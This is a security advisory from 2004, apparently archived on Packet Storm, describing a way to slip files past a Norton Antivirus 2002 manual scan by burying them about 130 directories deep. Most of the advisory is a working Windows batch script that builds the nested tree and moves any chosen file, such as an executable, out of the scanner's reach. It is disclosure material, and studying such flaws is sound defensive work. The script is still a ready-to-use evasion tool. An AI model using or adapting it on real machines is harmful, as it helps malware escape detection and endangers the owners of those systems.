exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

navNest.txt

navNest.txt
Posted Apr 17, 2004
Authored by Bipin Gautam

Norton Antivirus is susceptible to a nested file manual scan bypass attack.

tags | advisory
SHA-256 | ca93438b7c9ea3dc6ec50a2867da283a445c246f3149cf5a65d2c644ba088113

navNest.txt

Change Mirror Download


Norton AntiVirus nested file manual scan bypass.....

Product Version: Norton Antivirus 2002 (~Only tested On...~)
Risk Impact: Medium
Vendor Status: No responce!

Summary:

If you manage to inject a file in the sub-directory(s); beyond windows OS can create normally, [ say in 130 'th + sub-directory at c:\..\..\..\....upto 130'th ... ] NAV fails to scan the NESTED FILE. Indeed, it's more a windows restriction in accesing the nested file than a ANTIVIRUS flaw. Other antivirus product should also suffer the same. *.PLEASE VERIFY.* NAV

=-------CUT----------=
@echo off
rem Bipin Gautam [hUNT3R]
rem [https://www.geocities.com/visitbipin] * [https://www.01security.com]
echo »
echo ************************************************
echo -( For a harmless test... you can use,
echo https://www.eicar.org/anti_virus_test_file.htm )-
echo ************************************************
pause
cd\
c:
cd\
:hUNT3r
md 1
cd 1
if not errorlevel 1 goto :hUNT3r
cd..
rmdir 1
md X
cls
echo ***************************************************************
echo Now you can inject any file inside the folder 'X' which is inside
echo 120'th sub-directory of 'c:\1' [ i.e c:\1\..\...\.....[120'th dir].....\X\ ]
echo Note: The file you are moving to'c:\1\...\X\' should only contain
echo '1' char. file name, say: '1.exe' or '2.exe' or 'a.exe' etc...
echo not as '123.not' 'qwert.hak'
echo .........
echo So, ARE YOU DONE!?
echo .........
echo After this batch script is terminated, you'll
echo find the file you ^just copied^ inside c:\1\........\X\
echo now in c:\3\3\3\3\3\1\1\1\......[130' th dir].....\X\
echo mmm... Then have a manual scan of c:\3\ Any file you
echo have put inside the dir. 'X' can't be detected by NORTON Antivirus anymore!!!
echo ***************************************************

pause
cd\
md 3\3\3\3\3\3\3\3\3\3\
cd\
xcopy /E /I c:\1\*.* c:3\3\3\3\3\3\3\3\3\3\
exit

=-------CUT----------=

Disclaimer: The information in the advisory is believed to be accurate at the time of printing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect or consequential loss or damage arising from use of, or reliance on this information.
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close